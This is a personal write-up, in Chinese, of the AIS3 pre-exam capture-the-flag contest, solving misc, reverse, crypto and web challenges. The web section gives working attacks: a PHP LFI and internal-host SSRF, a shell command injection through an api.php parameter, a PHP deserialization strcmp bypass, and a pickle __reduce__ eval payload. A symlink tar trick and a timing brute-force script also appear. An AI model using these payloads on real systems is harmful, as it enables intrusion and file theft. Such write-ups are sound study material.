第一次參加為期三天 AIS3 pre-exam,好興奮 > <
不過我這歲數來說好像有點晚了,看到好多高中生參賽不禁回憶自己高中到底在幹嘛www
平常在 CTFTime 的線上賽已經習慣找 @stavhaygn 開示,這次個人賽只能靠自己了 QwQ
Foreword
先放上人權圖(Rank 113/427),雖然成績不怎麼樣www
這份 writeup 基本上把 300 分以下的補完了,如果有其他建議還請不吝指教。
(各題原始分數為 500 分,根據官方的計分規則,題目到 180 人解就會降到最底 100 分。)
官方 Writeups
Misc
💤 Piquero (100 points, 347 solves)
Description
Solution
利用線上工具 Braille Decoder 即可,要注意的是點字的大寫規則(.a = A),包含我在內很多人的錯誤率都從這邊來的XD
若想瞭解一下細節不妨可以參考 啾啾鞋 - ⠓⠥⠈⠨⠐⠙⠌⠂⠙⠯⠈⠙⠞⠈⠓⠱⠐⠕。
🐥 Karuego (100 points, 245 solves)
Description
題目給了一張Karuego圖(捏他「入間同學入魔了!」),想玩的請自取 HERE。
Solution
直覺就是圖片隱寫術 (Steganography),通常都會先用 binwalk
看看有沒有藏檔案,不過這裡我直接拿去丟 stegsolve
神器,從LSB不小心挖到奇怪的key,這才回頭用 foremost
找藏在圖片中的壓縮檔XD。
Solution 2
賽後和 @stavhaygn 聊才知道用 binwalk
找到壓縮檔後可以用 KPA(known plaintext attack) 工具 PKcrack 去爆密碼,在官方的 Discord 群組也有看到同樣說法,看來也是預期解之一。
🌱 Soy (139 points, 172 solves)
Description
Solution
利用線上工具 qrazybox 將 QRcode 還原。從 QRcode 長寬可知 ver.2,至於 format info 可以透過 Error Correction Level 和 Mask Pattern 的找到和題目相同的組合,剩下就格子點一點就有 Flag 了。
👑 Saburo (359 points, 108 solves)
Description
題目需要 nc
到官方 Server,透過輸入字串後會得到 “Haha, you lose in xx milliseconds.” ,其中的 xx 是隨機變動的數字(同樣輸入字串"a",回傳的數字範圍會在 11-15 浮動),透過測試會發現輸入越接近 flag 數字會越大,直到猜到 flag 為止。
PS. flag is printable characters with AIS3{…}
Solution
對於要用來測試的 table ,考慮到 flag 除了英文字母及數字,可能還會有 {
, }
, _
之類的,可以利用 python string library 。 之後逐步猜字,用統計的方式把 table 每個字元都測 10 遍找回傳 ms 最大的,如果最後抓不到回傳的數字代表戳到 flag 了XD。
另外還有一點,由於過程中需要不斷 nc 官方 Server,因此需要特別用 conn.close()
關閉連線,不然跑久了會報錯,個人在這邊吃鱉一陣子…可見寫程式的習慣還是很重要的。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
from pwn import *
from string import *
table = list(ascii_letters+digits+punctuation)
#flag = "AIS3{A1r1ght_U_4r3_my_3n3nnies}"
flag = "AIS3{"
while True:
max_val = 0
target = ''
for ch in table:
payload = flag + ch
max_local = 0
for j in range(10):
conn = remote("60.250.197.227", 11001)
conn.recvuntil('Flag:')
conn.sendline(payload)
try:
res = int(conn.recvline().split()[-2])
conn.close()
except:
print(flag + ch)
conn.close()
sys.exit(0)
max_local = max(max_local, res)
if max_local > max_val:
target = ch
max_val = max_local
flag = flag + target
print(flag)
|
👿 Shichirou (Post-solved, 450 points, 65 solves)
Description
同樣是需要 nc
到官方 Server ,透過瞭解 source code 想辦法取得 flag。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
|
#!/usr/bin/env python3
import os
import sys
import tempfile
import subprocess
import resource
resource.setrlimit(resource.RLIMIT_FSIZE, (65536, 65536))
os.chdir(os.environ['HOME'])
size = int(sys.stdin.readline().rstrip('\r\n'))
if size > 65536:
print('File is too large.')
quit()
data = sys.stdin.read(size)
with tempfile.NamedTemporaryFile(mode='w+', suffix='.tar', delete=True, dir='.') as tarf:
with tempfile.TemporaryDirectory(dir='.') as outdir:
tarf.write(data)
tarf.flush()
try:
subprocess.check_output(['/bin/tar', '-xf', tarf.name, '-C', outdir])
except:
print('Broken tar file.')
raise
try:
a = subprocess.check_output(['/usr/bin/sha1sum', 'flag.txt'])
b = subprocess.check_output(['/usr/bin/sha1sum', os.path.join(outdir, 'guess.txt')])
a = a.split(b' ')[0]
b = b.split(b' ')[0]
assert len(a) == 40 and len(b) == 40
if a != b:
raise Exception('sha1')
except:
print('Different.')
raise
print(open('flag.txt', 'r').readline())
|
Solution
賽後聽 @stavhaygn 說這題對 MacacaHub 算考古題… 來自去年金盾獎決賽==
不過從遊記108金盾獎決賽看得出來我沒有參與到解題過程,可惡QwQ
簡單解釋一下上方的code:
- line 12 基本上就是輸入數字,即檔案大小。
- line 17, 18 輸入 tar 包裝檔案(可以利用
pwntool
),然後在line 23進行解包。
- line 29 - 35 針對官方Server的兩個檔案
guess.txt
和 flag.txt
進行 SHA-1 比對,若相同就吐出 flag。
我起初乍看之下還以為是 SHA-1 bypass ,但我們並不能改變 Server 的檔案,那我們到底是要上傳啥哩?
關鍵就是 Symbolic link,有點像是建立捷徑的概念,把 guess.txt
和 flag.txt
連結在一起。
首先,在本地端用指令建立連結,透過ls
查看。
1
2
3
|
$ ln -s flag.txt guess.txt
$ ls -al
lrwxrwxrwx ... guess.txt -> flag.txt
|
再來就是進行tar打包(無壓縮)。
1
|
$ tar cvf guess.tar guess.txt
|
如此我們就能得到一個 tar 檔案,再來把扣摳一摳就行了吧。
1
2
3
4
5
6
7
8
9
10
11
|
from pwn import *
conn = remote('60.250.197.227', 11000)
with open('./guess.tar', 'rb') as f:
tar = f.read()
num = len(tar)
conn.sendline(str(num))
conn.sendline(tar)
conn.interactive()
|
BOOOOOOOM,RUN起來結果看起來是爛掉了。
從第四行看得出來 guess.txt
和 flag.txt
似乎不在同一個目錄中。
不過錯誤提示也把路徑告訴我們了,簡單講大guy長得像底下這樣。
1
2
3
4
|
/home/ctf/
├── flag.txt
├── tmp7lzztdlk
│ ├── guess.txt
|
那就把連結的部分刪掉重來一遍!
1
2
3
4
5
|
$ rm guess.txt guess.tar # 記得把舊檔砍掉
$ ln -s /home/ctf/flag.txt guess.txt
$ ls -al
lrwxrwxrwx ... guess.txt -> /home/ctf/flag.txt
$ tar cvf guess.tar guess.txt
|
重跑 python code 就能拿 flag 了~
Reverse
🍍 TsaiBro (100 points, 281 solves)
Description
題目給了一份ELF檔 TsaiBro 和一份密語(?) TsaiSaid。
Solution
題目幾乎同去年 AIS3 pre-exam ,似乎是出題者被上層指示每項分類要有一題和往年方向相同,差別在 ELF 檔內的 table 不同。
如果直接執行 ELF 檔,可以發現輸出除了第一句之外,之後的"發財…“會隨著輸入的字串而改變(如下),因此我們的目標就是要把題目另外附的密語還原成FLAG。
1
2
3
4
5
6
7
8
9
10
11
12
|
$ chmod +x ./TsaiBro # 給檔案可執行的權限
$ ./TsaiBro ha
Terry...逆逆...沒有...學問...單純...分享...個人...生活...感觸...
發財......發財....發財...發財
$ ./TsaiBro haha
Terry...逆逆...沒有...學問...單純...分享...個人...生活...感觸...
發財......發財....發財...發財.發財......發財....發財...發財.
$ ./TsaiBro hahaha
Terry...逆逆...沒有...學問...單純...分享...個人...生活...感觸...
發財......發財....發財...發財.發財......發財....發財...發財.發財......發財....發財...發財
|
針對 TsaiBro,我們打開 IDA Pro (好朋友版)使用 F5 大法,可以發現程式內主要轉換的方式如下:
1
2
3
4
5
6
7
8
9
|
table = "56789{}_WXY0yzABabcdmnopSTUVGHIJKLMNuvwxefghqrstijklOPQRCDEF1234";
for ( i = 0; i < strlen(argv[1]); ++i ) {
for ( j = 0; j <= 63; ++j ) {
if ( table[j] == argv[1][i] ){
printf(&byte_968, (unsigned int)(j / 8 + 1), "..........", (unsigned int)(j % 8 + 1), "...........");
break;
}
}
}
|
針對輸入 argv[1]
的每個字元,程式會先查表(table),然後分別算出 j / 8 + 1
個點 和 j % 8 + 1
個點。 由此可知道我們可以反過來把密語中的”…“兩兩一組回推 j
再回頭查表就能把 FLAG 推出來了!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
#include <bits/stdc++.h>
using namespace std;
int main(){
string s;
fstream file;
file.open("TsaiBroSaid", ios::in);
getline(file, s);
file >> s; // 把第一段"Terry...逆逆..." 吃掉🤪
s = regex_replace(s, regex("發財"), " "); // 把"發財"用"空白"取代
stringstream ss(s);
vector<int> v;
// 以空白作為切割點把"..."的數量存起來
while( getline(ss, s, ' ') ){
if(s.length()) v.push_back(s.length());
}
string table = "56789{}_WXY0yzABabcdmnopSTUVGHIJKLMNuvwxefghqrstijklOPQRCDEF1234";
for(int i=0; i<v.size(); i+=2){
int idx = v[i+1] + (v[i]-1) * 8 - 1;
cout << table[idx];
}
return 0;
}
|
🎹 Fallen Beat (144 points, 171 solves)
Description
題目給了一份用JAVA寫的音樂遊戲 Fallen Beat,必須要達到 FC(Full Combo, 全音符皆有按到)才會給 flag,事後聽說似乎是出自中大計概的期末project,好猛XDDD
遊戲方式如下
Solution
如果遊戲方式只有單純 D, F, J, K
四鍵或許我還會拼拼看,不過加上 space
其實還蠻干擾的(抹臉)。既然這題分類都在 Reverse,本來就不是給人直接玩出 FLAG… 如果有誰錄手元我還是蠻期待的wwww
回歸正題,既然要逆 .jar,當然就找 JAVA Decompiler ,這裡我用 JD-GUI,然後把 .jar 扔進去觀察一下,雖然說 class 不多到處亂翻也會有線索,不過既然是 FC 結束才出現 flag,自然可以往 PanelEnding.class
的方向挖,嗯、就是有個 flag 放在那裡(笑)
利用關鍵字循線往下看… 果然還是會經過一些計算,不會這麼容易直接把FLAG給出來QQ
仔細看一下可以發現我們還少了很重要的變數 cache
資訊。
這裡其實我卡了一小段時間,因為回追總是會在某個環節就追丟,可能也是自己對 JAVA 不太熟的緣故。 最後找到了一個文字檔 hell.txt
,看起來蠻像是遊戲用的譜面(?)
而關於這個 hell.txt
是個 1475 行的純數字檔,節錄開頭如下。
1
2
3
4
5
6
7
8
9
10
11
12
13
|
186
***** DATA
1
0
0
0
28
0
0
14
0
...
...
|
搭配前面所找到的 flag 的計算,該有的線索都有就能直接回推結果了。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
#include <bits/stdc++.h>
using namespace std;
int main(){
string s;
fstream file;
file.open("./songs/gekkou/hell.txt", ios::in);
getline(file, s); getline(file, s); // 把前兩段吃掉
vector<int> cache;
while( getline(file, s) ){
stringstream ss(s);
int num; ss >> num;
cache.push_back(num);
}
int flag[] = {89, 74, 75, 43, 126, 69, 120, 109, 68, 109, 109, 97, 73,110, 45, 113, 102, 64, 121, 47, 111, 119, 111, 71, 114, 125, 68, 105, 127, 124, 94, 103, 46, 107, 97, 104 };
int flag_len = sizeof(flag)/sizeof(flag[0]);
for(int i=0; i<cache.size(); i++){
flag[ i % flag_len ] ^= cache[i];
}
for(int i=0; i<flag_len; i++){
cout << (char)flag[i];
}
return 0;
}
|
Solution 2
和 Lab 朋友聊過才知道原來還有其他解法,就是直接用 patch 的方式改成無視 FC,不過似乎還會被排版搞(?) 要再手動調位置。賽後官方 Discord 群組對話出現下面這張,如果真的有人手動 FC 看到這排版應該會哭出來吧XDDDDD
🧠 Stand up!Brain (455 points, 62 solves)
Description
這題給了一份ELF檔 joke,並且在引言中表示「這次輪到你說個笑話來聽聽了」。
Solution
其實原本想照 IDA Pro 的規則先手動推推看,沒想到就把「笑話」推出來了 ㄏ
Pwn
部分題目需要召喚 @stavhaygn (`・ω・´)
👻 BOF (100 points, 189 solves)
Description
(待補)
Solution
(待補)
Crypto
🦕 Brontosaurus (100 points, 380 solves)
Description
題目給了一份字數多達42k的純文字檔 HERE,以下僅節錄開頭一部分。
1
|
)()]]][+[+][+!+][+![)]]][+!+[)][+][!!(+]][+!+][+!+][+![)][+][!!(+]][+[)][+][!!(+]][+!+][+![)][+][!(+]]][+[+][+!+[)]][[][+]][![(+]][+[)][+][!([][+][!!(+]]][+!+][+![+][+!+[)(]]][+!+[)][+][!!(+]]][+[+][+!+[)]]][+!+[)][+][!!(+]][+!+][+!+][+![)][+][!!(+]][+[)][+][!!(+]][+!+][+![)][+][!(+]]][+[+][+!+[)]][[][+]][![(+]][+[)][+][!([][+][!!(+]][+!+][+![)][+][!(+]]][+[+][+!+[)]]][+!+[)][+][!!(+]][+!+][+!+][+![)][+][!!(+]][+[)][+][!!(+]][+!+][+![)][+][!(+]]][+[+][+!+[)]][[][+]][![(+]][+[)][+][!([][+][!!(+]][+!+][+!+][+![)][+]]][+!+[)][+][!!(+]][+!+][+!+][+![)][+][!!(+]][+[)][+][!!(+]][+!+][+![)][+][!(+]]][+[+][+!+[)]][[][+]][![(+]][+[)][+][!([][(+]][+[)][+] ......
|
Solution
事後發現題目同去年AIS3 pre-exam,似乎是出題者被上層指示每項分類要有一題和往年方向相同。
不過當下其實就看得出是 JSFuck
(被身邊朋友荼毒過了Zzzzz),只是直接複製到 jsfuck decoder 會失敗,正當我覺得納悶的時候才發現字首是 )
,索性開 python 做字串反轉 [::-1]
,再一次 decode 就有 flag 了~
P.S. 事後和沒有參加 pre-exam 的朋友分享才被點出檔名 “KcufSJ” 就提示要反轉了XD
🦖 T-Rex (100 points, 381 solves)
Description
題目同樣給了一份純文字檔 HERE,而且也不難看出上半部和下半部之間的關聯。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
! @ # $ % &
! V F Y J 6 1
@ 5 0 M 2 9 L
# I W H S 4 Q
$ K G B X T A
% E 3 C 7 P N
& U Z 8 R D O
&$ !# $# @% { %$ #! $& %# &% &% @@ $# %# !& $& !& !@ _ $& @% $$ _ @$ !# !! @% _ #! @@ !& _ $# && #@ !% %$ ## !# &% @$ _ $& &$ &% %& && #@ _ !@ %$ %& %! $$ &# !# !! &% @% ## $% !% !& @! #& && %& !% %$ %# %$ @% ## %@ @@ $% ## !& #% %! %@ &@ %! &@ %$ $# ## %# !$ &% @% !% !& $& &% %# %@ #$ !# && !& #! %! ## #$ @! #% !! $! $& @& %% @@ && #& @% @! @# #@ @@ @& !@ %@ !# !# $# $! !@ &$ $@ !! @! &# @$ &! &# $! @@ &@ !% #% #! &@ &$ @@ &$ &! !& #! !# ## %$ !# !# %$ &! !# @# ## @@ $! $$ %# %$ @% @& $! &! !$ $# #$ $& #@ %@ @$ !% %& %! @% #% $! !! #$ &# ## &# && $& !! !% $! @& !% &@ !& $! @# !@ !& @$ $% #& #$ %@ %% %% &! $# !# $& #@ &! !# @! !@ @@ @@ ## !@ $@ !& $# %& %% !# !! $& !$ $% !! @$ @& !& &@ #$ && @% $& $& !% &! && &@ &% @$ &% &$ &@ $$ }
|
Solution
簡單講就是查表回推 flag,只是在群組真的聽到不少人直接用紙筆硬推(而且還推歪),怕爆。
既然都身為資訊科系寫個程式不為過吧 XDDDD
1
2
3
4
5
6
7
8
9
10
11
12
13
|
#include <bits/stdc++.h>
using namespace std;
int main(){
map<char, int> dict = { {'!',0}, {'@',1}, {'#',2}, {'$',3}, {'%',4}, {'&',5} };
string table[6] = {"VFYJ61", "50M29L", "IWHS4Q", "KGBXTA", "E3C7PN", "UZ8RDO"};
stringstream ss("&$ !# $# @% { %$ #! $& %# &% &% @@ $# %# !& $& !& !@ _ $& @% $$ _ @$ !# !! @% _ #! @@ !& _ $# && #@ !% %$ ## !# &% @$ _ $& &$ &% %& && #@ _ !@ %$ %& %! $$ &# !# !! &% @% ## $% !% !& @! #& && %& !% %$ %# %$ @% ## %@ @@ $% ## !& #% %! %@ &@ %! &@ %$ $# ## %# !$ &% @% !% !& $& &% %# %@ #$ !# && !& #! %! ## #$ @! #% !! $! $& @& %% @@ && #& @% @! @# #@ @@ @& !@ %@ !# !# $# $! !@ &$ $@ !! @! &# @$ &! &# $! @@ &@ !% #% #! &@ &$ @@ &$ &! !& #! !# ## %$ !# !# %$ &! !# @# ## @@ $! $$ %# %$ @% @& $! &! !$ $# #$ $& #@ %@ @$ !% %& %! @% #% $! !! #$ &# ## &# && $& !! !% $! @& !% &@ !& $! @# !@ !& @$ $% #& #$ %@ %% %% &! $# !# $& #@ &! !# @! !@ @@ @@ ## !@ $@ !& $# %& %% !# !! $& !$ $% !! @$ @& !& &@ #$ && @% $& $& !% &! && &@ &% @$ &% &$ &@ $$ }");
string s;
while( getline(ss, s, ' ') ){
if(s.length() == 1) cout << s;
else cout << table[ dict[s[1]] ][ dict[s[0]] ];
}
return 0;
}
|
看看這充滿惡意的flag… 根本就沒打算讓人用手推XDDDDD
AIS3{TYR4NN0S4URU5_R3X_GIV3_Y0U_SOMETHING_RANDOM_5TD6XQIVN3H7EUF8ODET4T3H907HUC69L6LTSH4KN3EURN49BIOUY6HBFCVJRZP0O83FWM0Z59IISJ5A2VFQG1QJ0LECYLA0A1UYIHTIIT1IWH0JX4T3ZJ1KSBRM9GED63CJVBQHQORVEJZELUJW5UG78B9PP1SIRM1IF500H52USDPIVRK7VGZULBO3RRE1OLNGNALX}
Web
🦈 Shark (100 points, 261 solves)
Description
打開畫面後有個連結 Shark never cries?
,點開如下。
Solution
題目幾乎同去年 AIS3 pre-exam,似乎是出題者被上層指示每項分類要有一題和往年方向相同。 雖說如此,我在 Day 1 戳半天戳不出結果,到 Day 2 才發現考古題這件事 XD
首先,從連結的後綴可以觀察到 ?path=hint.txt
,基本上可以聯想到 LFI
相關的題型,透過幾個基本的 php://filter
嘗試撈出 source code,例如 php://filter/convert.base64-encode/resource=index.php
,把拿到的 base64 還原可以得到下面code。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
<?php
if ($path = @$_GET['path']) {
if (preg_match('/^(\.|\/)/', $path)) {
// disallow /path/like/this and ../this
die('<pre>[forbidden]</pre>');
}
$content = @file_get_contents($path, FALSE, NULL, 0, 1000);
die('<pre>' . ($content ? htmlentities($content) : '[empty]') . '</pre>');
}
?>
<!DOCTYPE html>
<head>
<title>🦈🦈🦈</title>
<meta charset="utf-8">
</head>
<body>
<h1>🦈🦈🦈</h1>
<a href="?path=hint.txt">Shark never cries?</a>
</body>
|
不過看起來沒有我們想要的資訊,只知道檔了很多存取目錄的方式,而確定 php://filter
方法可行。 再來就是題目一開始給的提示 “Please find the other server in the internal network! (flag is on that server)” ,那就來翻翻看 /etc/hosts
… 不過沒有我們要的資訊。
Day 1 我就卡在這裡,直到找到去年 writeup 才發現有 /proc/net/fib_trie
可查到內網的 IP 位址。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
Main:
+-- 0.0.0.0/0 3 0 5
|-- 0.0.0.0
/0 universe UNICAST
+-- 127.0.0.0/8 2 0 2
+-- 127.0.0.0/31 1 0 0
|-- 127.0.0.0
/32 link BROADCAST
/8 host LOCAL
|-- 127.0.0.1
/32 host LOCAL
|-- 127.255.255.255
/32 link BROADCAST
+-- 172.22.0.0/16 2 0 2
+-- 172.22.0.0/30 2 0 2
|-- 172.22.0.0
/32 link BROADCAST
/16 link UNICAST
|-- 172.22.0.3 <--- WE ARE HERE
/32 host LOCAL
|-- 172.22.255.255
/32 link BROADCAST
Local:
+-- 0.0.0.0/0 3 0 5
|-- 0.0.0.0
/0 universe UNICAST
+-- 127.0.0.0/8 2 0 2
+-- 127.0.0.0/31 1 0 0
|-- 127.0.0.0
|
之後就照著 writeup 走,找找 172.22.0.3
附近的 IP,例如 172.22.0.2
。
最後直接 ?path=http://172.22.0.2/flag
就能拿 flag 了 ~
🐿 Squirrel (Post-solved, 100 points, 220 solves)
Description
點進連結,畫面就是一堆松鼠帶著系統目錄跑來跑去…
P.S. 題外話,同樣用 Chrome 但不同系統看的 emoji 都不太一樣蠻有趣的www
Solution
解題人數明明破 200 位,但直到競賽結尾我還是沒解出來,事後證明我想太多了 QwQ
首先,從網頁source code可以看到些許端倪。
透過網址後綴 /api.php?get=/etc/passwd
可以撈到一些資訊,但這題看起來是沒什麼用。
基本上賽中我這裡就卡住了,一直想從網頁 source code 的 Error Handling 下手 …
其實,仔細想一下就可以發現,?get=
+ file name
能夠查看檔案內容… 那就不就是command cat
嗎!!!!
既然如此,那來看看cat api.php
應該也沒有問題吧!
透過網址後綴 /api.php?get=api.php
還真的把 api.php
source code 撈出來了XD
從這份 source code 可以看到是用 shell_exec
執行指令,並且用 '
前後閉合起來。
那我們下一步就能利用 command injection 的 ;
截斷執行我們想要的command ~
例如 /api.php?get=';ls'
,另外要記得要加上 '
將前後閉合 (同SQLi的概念)。
能夠列出當前目錄,那就能繼續深入找找是否有些好玩的東西(?)
例如 /api.php?get=';ls ../../../'
好像… 有個可疑的檔案?
嘿嘿那就來看看裡面有沒有flag吧!
開心使用 /api.php?get='; cat ../../../5qu1rr3l_15_4_k1nd_0f_b16_r47.txt'
,有了!!!
不過打了這麼長一串… 是不是忘記那個 ?get=
其實就等同 cat
功能 www
直接在後面接目錄檔名就行了 /api.php?get=../../../5qu1rr3l_15_4_k1nd_0f_b16_r47.txt
🐘 Elephant (168 points, 165 solves)
Description
點進連結,可以看到是個登入頁面(還有需要反白的彩蛋??)
隨意輸入後,下方說明文字說明token不足以讀flag(同樣有需要反白的彩蛋??)
Solution
這題當初真的是超乎預期地通靈拿到 flag,完全不明白考點在哪 ==
Quote
「所以才說有些題目就是知識斷片,才要用通靈的方式跳上去」 by 逆逆
因此賽後找了 @stavhaygn 完整還原一下這題的重點。
首先簡單講個人的通靈解法 XD
登入後可以把 cookies 的字串拿去 base64 decode 得到下列字串。
1
|
O:4:"User":2:{s:4:"name";s:4:"haha";s:11:"Usertoken";s:32:"6cdc79ae4ac3bd4ade8162dc68d2d50d";}
|
格式上看得出是 type:length:data
,但我發現中間的 s:11:"Usertoken"
… 算算長度應該是 9 吧(?)
嗯。我就真的手動改成 s:9:"Usertoken"
再 base64 encode 後填回去 cookies,重新整理頁面後就噴 flag 了…(黑人問號)
其實上面的字串格式叫做「序列化(serialization)」,我平常沒什麼摸真的不太瞭解 www
正確的作法應該是從 /.git
,可以發現並非 404 not found 而是 403 forbidden。
利用GitHack,把檔案還原出來。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
<?php
const SESSION = 'elephant_user';
$flag = file_get_contents('/flag');
class User {
public $name;
private $token;
function __construct($name) {
$this->name = $name;
$this->token = md5($_SERVER['REMOTE_ADDR'] . rand());
}
function canReadFlag() {
return strcmp($flag, $this->token) == 0;
}
}
if (isset($_GET['logout'])) {
header('Location: /');
setcookie(SESSION, NULL, 0);
exit;
}
$user = NULL;
if ($name = $_POST['name']) {
$user = new User($name);
header('Location: /');
setcookie(SESSION, base64_encode(serialize($user)), time() + 600);
exit;
} else if ($data = @$_COOKIE[SESSION]) {
$user = unserialize(base64_decode($data));
}
|
這份source code有幾個重點:
- line 8 token 的類別定義為
private
(稍後會提到)
- line 11 token 產生的方式為 Random + MD5 Hash
- line 14 拿 flag 的條件:
$flag == $this->token
- line 28 serialize function
這題關鍵在 strcmp bypass
。而 $flag
寫在後端無法修改,我們也沒辦法控制 token 的 random 值。
從網路找的資訊為 strcmp
在遇到字串和陣列比較時將回傳 NULL,利用 PHP 的弱型別特性 NULL == 0
會成立。
那我們不就只要把拿到的序列化字串手動修改不就行了嗎 ~
1
|
O:4:"User":2:{s:4:"name";s:4:"haha";s:11:"Usertoken";a:0:{};}
|
很遺憾… 不行。如果改完再 encode 貼到 cookies 會被登出。
問題在於一些程式產生的不可視字元,同時也是我一開始發現字串長度很奇怪的部分。
關於PHP序列化格式,可以參考這篇 一文让PHP反序列化从入门到进阶,其中類別中的三種權限的表示方式:
public: data
private: %00class name
%00member name
protected: %00*%00member name
也能夠說明為何我看到的字串長度少 2(%00
* 2),同時也無法直接修改。
那這些看不見的字元自然不能被手動複製貼上,那怎麼辦哩? … 既然是由程式產生的,那就寫回去吧。 可以直接照搬上面的產生 serialize 的程式碼,再將原本 token 產生的方式改成 array 即可!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
<?php
class User {
public $name;
private $token;
function __construct($name) {
$this->name = $name;
$this->token = array();
}
}
$user = new User("haha");
echo base64_encode(serialize($user));
|
用 PHP online 之類的執行完就能把拿到的 base64 code 貼回去 cookies,重新整理頁面拿 flag ~
🐍 Snake (Post-solved, 272 points, 137 solves)
Description
點開連結,題目直接把code以純文字顯示在頁面上。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
from flask import Flask, Response, request
import pickle, base64, traceback
Response.default_mimetype = 'text/plain'
app = Flask(__name__)
@app.route("/")
def index():
data = request.values.get('data')
if data is not None:
try:
data = base64.b64decode(data)
data = pickle.loads(data)
if data and not data:
return open('/flag').read()
return str(data)
except:
return traceback.format_exc()
return open(__file__).read()
|
Solution
簡單瞭解這份code:
- line 10 表示我們可以透過後綴
/?data=
接一些字串
- line 14 表示字串必須為 base64 格式
- line 15 pickle … ? 原來是肚子餓的部分(X)
用 Google 搜尋 “pickle ctf” 可以找到不少資料,可以參考這篇 pickle反序列化初探。
簡單講 pickle
是 python 用來序列化及反序列化的 Python library。
當我們透過網址傳送序列化字串後, Server 端會執行反序列化並執行物件中的 __reduce__
,因此我們這次將 __reduce__
內容設計成system read /flag file, Server 回傳的就會是 flag 的內容,另外要注意的是回傳格式(callable, tuple
),後者的參數會交給前者執行。
1
2
3
4
5
6
7
8
|
import pickle
import base64
class test(object):
def __reduce__(self):
return( eval, ("open('/flag').read()",) )
print(base64.b64encode(pickle.dumps(test())))
|
剩下就是把產生出來的 base64 code 丟到網址後綴拿 flag ~
/?data=Y19fYnVpbHRpbl9fCmV2YWwKcDAKKFMib3BlbignL2ZsYWcnKS5yZWFkKCkiCnAxCnRwMgpScDMKLg==
Scoreboard